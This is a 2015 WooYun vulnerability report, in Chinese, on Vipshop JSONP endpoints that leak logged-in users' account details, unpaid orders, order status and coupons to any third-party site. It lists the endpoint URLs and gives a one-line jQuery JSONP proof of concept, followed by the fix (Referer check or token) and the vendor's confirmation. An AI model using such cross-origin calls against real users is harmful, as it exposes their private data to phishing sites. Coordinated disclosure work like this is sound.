当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118761

漏洞标题:唯品会多接口问题导致泄露用户隐私信息

相关厂商:唯品会

漏洞作者: 路人甲

提交时间:2015-06-08 14:29

修复时间:2015-07-23 15:40

公开时间:2015-07-23 15:40

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

...

详细说明:

jsonp接口可跨域调用,未做安全措施导致第三方网站可恶意调用jsonp接口导致用户信息泄露
例如针对唯品会的诈骗网站调用这些接口,把相应的用户信息显示在诈骗页面上,这样成功率应该更高一些
其实唯品会没有太多隐私接口使用jsonp,但使用了jsonp的接口也都没做防护,所以还是提一下吧
获取用户基本信息的jsonp接口 http://myi.vip.com/api/account/info?callback=jQuery111101092229
获取未支付订单列表的接口 http://checkout.vip.com/app/getUnpayOrder.php?callback=jQuery110208938841
根据订单号获取订单状态的接口[上一个接口返回了订单号,可记录在cookie中,然后在此处查询订单最新状态] http://order.vip.com/order/orderTrack?callback=jQuery110208540655311662704_1433643762456&ordersn=ORDERID
获取优惠券列表 http://coupon.myopen.vip.com/coupon/suggestvouchers?callback=coupon&_callback=coupon&_cache=false&_localCache

漏洞证明:

在任意引入jquery的域名console下输入如下内容,如果打印出了当前已登录唯品会的用户信息,那么久是存在的【其他接口基本只是换url而已】

$.ajax({type:"get",url:"http://myi.vip.com/api/account/info",dataType:"jsonp",jsonp:"callback",jsonpCallback:"ckdata",success:function(json){console.log('下面是在百度域名下获取到唯品会的内容');console.log(json);console.log('上面是在百度域名下获取到唯品会的内容');}});


VIP2.png


vip.png

修复方案:

验证refer或加token

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-06-08 15:38

厂商回复:

感谢提交漏洞,谢谢您对唯品会信息安全的支持!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-08 16:35 | 唯品会(乌云厂商)

    请白帽子私信留下联系方式,我们的小礼品会飞速送出!